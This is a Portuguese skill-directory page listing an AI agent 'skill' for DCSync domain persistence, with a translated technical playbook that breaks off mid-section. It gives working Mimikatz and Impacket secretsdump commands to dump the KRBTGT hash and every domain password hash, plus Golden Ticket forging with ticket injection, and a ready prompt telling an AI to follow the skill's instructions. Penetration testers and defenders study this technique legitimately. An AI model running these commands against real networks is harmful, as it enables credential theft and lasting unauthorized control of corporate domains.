Pular para o conteúdo
Skillpedia
Segurança35 mil · #5572

conducting-domain-persistence-with-dcsync

Faz seu agente simular ataques para extrair informações sensíveis de um domínio. É útil para testar a segurança de contas e a persistência em redes corporativas.

O que ela faz

Essa ferramenta permite que um invasor, com permissões específicas, copie as senhas de todos os usuários de um domínio. Isso é feito fingindo ser um controlador de domínio para extrair essas informações, que podem ser usadas para criar acessos falsos e manter controle sobre o sistema.

Quando usar

  • ✓Ao testar a segurança de uma rede corporativa autorizada.
  • ✓Para verificar se as defesas da rede podem detectar esse tipo de ataque.
  • ✓Durante investigações de incidentes de segurança.

Exemplo do que pedir para a IA

“Como posso simular um ataque DCSync para testar a segurança da minha rede?”

Quer saber mais? Abra as seções abaixo.

Como usar

O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.

Link da skill

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/conducting-domain-persistence-with-dcsync/SKILL.md

Mensagem pronta para colar

Use esta skill para me ajudar: https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/conducting-domain-persistence-with-dcsync/SKILL.md Leia o arquivo SKILL.md desse link e siga as instruções dele na minha tarefa.
Como funciona

A ferramenta abusa de um protocolo de replicação do Active Directory para solicitar cópias das senhas. Se o atacante tiver as permissões corretas, ele pode obter essas senhas e usá-las para criar acessos permanentes.

Instalação

Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.

No terminal (Claude Code, Codex, Cursor), na pasta do projeto:

npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill conducting-domain-persistence-with-dcsync

Ou baixe só o arquivo:

curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/conducting-domain-persistence-with-dcsync/SKILL.md -o SKILL.md
Conteúdo técnico (SKILL.md)

Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.

Realizando Persistência de Domínio com DCSync

Aviso Legal: Esta habilidade destina-se apenas a fins de testes de segurança autorizados e educacionais. O uso não autorizado contra sistemas que você não possui ou para os quais não tem permissão escrita para testar é ilegal e pode violar leis de fraude computacional.

Visão Geral

DCSync é uma técnica de ataque que abusa do Microsoft Directory Replication Service Remote Protocol (MS-DRSR) para se passar por um Controlador de Domínio e solicitar dados de senha do DC alvo. O ataque foi introduzido por Benjamin Delpy (autor do Mimikatz) e Vincent Le Toux, aproveitando os direitos estendidos DS-Replication-Get-Changes e DS-Replication-Get-Changes-All. Qualquer principal (usuário ou computador) com esses direitos pode replicar hashes de senha para qualquer conta no domínio, incluindo a conta KRBTGT. Com o hash KRBTGT, os atacantes podem forjar Golden Tickets para persistência de domínio indefinida. DCSync é categorizado como MITRE ATT&CK T1003.006 e é uma técnica crítica de pós-exploração usada por grupos APT, incluindo APT28 (Fancy Bear), APT29 (Cozy Bear) e FIN6.

Quando Usar

  • Ao realizar avaliações de segurança que envolvam a realização de persistência de domínio com dcsync
  • Ao seguir procedimentos de resposta a incidentes para eventos de segurança relacionados
  • Ao realizar testes de segurança ou atividades de auditoria agendadas
  • Ao validar controles de segurança por meio de testes práticos

Pré-requisitos

  • Familiaridade com conceitos e ferramentas de red teaming
  • Acesso a um ambiente de teste ou laboratório para execução segura
  • Python 3.8+ com as dependências necessárias instaladas
  • Autorização apropriada para quaisquer atividades de teste

Objetivos

  • Identificar contas com direitos DCSync (replicação) no Active Directory
  • Realizar DCSync usando Mimikatz ou secretsdump.py do Impacket
  • Extrair o hash da conta KRBTGT para criação de Golden Ticket
  • Despejar todos os hashes de senha de usuários do domínio para análise de credenciais
  • Forjar Golden Tickets para acesso persistente ao domínio
  • Conceder direitos DCSync a uma conta controlada para persistência alternativa
  • Documentar a cadeia de ataque e os mecanismos de persistência

Mapeamento MITRE ATT&CK

  • T1003.006 - OS Credential Dumping: DCSync
  • T1558.001 - Steal or Forge Kerberos Tickets: Golden Ticket
  • T1222.001 - File and Directory Permissions Modification: Windows
  • T1098 - Account Manipulation
  • T1078.002 - Valid Accounts: Domain Accounts

Fluxo de Trabalho

Fase 1: Identificar Contas com Direitos DCSync

  1. Enumerar principais com direitos de replicação:
    # Using PowerView
    Get-DomainObjectAcl -SearchBase "DC=domain,DC=local" -ResolveGUIDs |
      Where-Object { ($_.ObjectAceType -match 'Replicating') -and
                     ($_.ActiveDirectoryRights -match 'ExtendedRight') } |
      Select-Object SecurityIdentifier, ObjectAceType
    
    # Using BloodHound Cypher query
    MATCH (u)-[:DCSync|GetChanges|GetChangesAll*1..]->(d:Domain)
    RETURN u.name, d.name
    
  2. Usando FindDelegation do Impacket ou consulta LDAP personalizada:
    # Check with Impacket
    findDelegation.py domain.local/user:'Password123' -dc-ip 10.10.10.1
    
  3. Contas padrão com direitos DCSync:
    • Domain Admins
    • Enterprise Admins
    • Grupo Domain Controllers
    • SYSTEM em Domain Controllers

Fase 2: Extração de Credenciais DCSync

  1. Usando Mimikatz (Windows):
    # Dump specific account (KRBTGT for Golden Ticket)
    mimikatz.exe "lsadump::dcsync /domain:domain.local /user:krbtgt"
    
    # Dump Domain Admin
    mimikatz.exe "lsadump::dcsync /domain:domain.local /user:administrator"
    
    # Dump all domain accounts
    mimikatz.exe "lsadump::dcsync /domain:domain.local /all /csv"
    
  2. Usando secretsdump.py do Impacket (Linux):
    # Dump all credentials
    secretsdump.py domain.local/admin:'Password123'@10.10.10.1
    
    # Dump specific user
    secretsdump.py -just-dc-user krbtgt domain.local/admin:'Password123'@10.10.10.1
    
    # Dump only NTLM hashes (no Kerberos keys)
    secretsdump.py -just-dc-ntlm domain.local/admin:'Password123'@10.10.10.1
    
    # Using Kerberos authentication
    export KRB5CCNAME=admin.ccache
    secretsdump.py -k -no-pass domain.local/admin@DC01.domain.local
    

Fase 3: Criação de Golden Ticket

  1. Usando Mimikatz com o hash KRBTGT extraído:
    # Criar Golden Ticket
    mimikatz.exe "kerberos::golden /user:administrator /domain:domain.local \
      /sid:S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX \
      /krbtgt:<krbtgt_ntlm_hash> /ptt"
    
    # Criar com associações de grupo específicas
    

…

Perguntas frequentes

O que é um 'Golden Ticket'?

É um ticket de autenticação forjado usando a senha do administrador principal do domínio. Ele permite que o atacante acesse qualquer parte da rede indefinidamente, como se fosse um administrador.

Quais permissões são necessárias para usar essa ferramenta?

É preciso ter permissões de replicação específicas no Active Directory, como 'DS-Replication-Get-Changes' ou 'DS-Replication-Get-Changes-All'.

Isso é ilegal?

Sim, usar essa técnica em sistemas sem autorização explícita é ilegal e pode violar leis de crimes cibernéticos.

Detalhes

Descrição original do autor

Perform DCSync attacks by abusing MS-DRSR replication rights (DS-Replication-Get-Changes/-All) to impersonate a Domain Controller and extract KRBTGT, Domain Admin, and service account hashes for Golden Ticket forging, typically with Mimikatz. Use in authorized engagements after finding principals with replication rights, to establish long-term domain persistence, or to validate detections for repl

repo: mukul975/Anthropic-Cybersecurity-Skills

Popularidade

Estrelas no GitHub
35 mil
Posição no ranking
#5572
Licença
Apache-2.0
Atualizada em
31/08/2026

Essa skill é útil?

0

Entre para votar.

Comentários

  • …

Mais skills deste repositório

Skills parecidas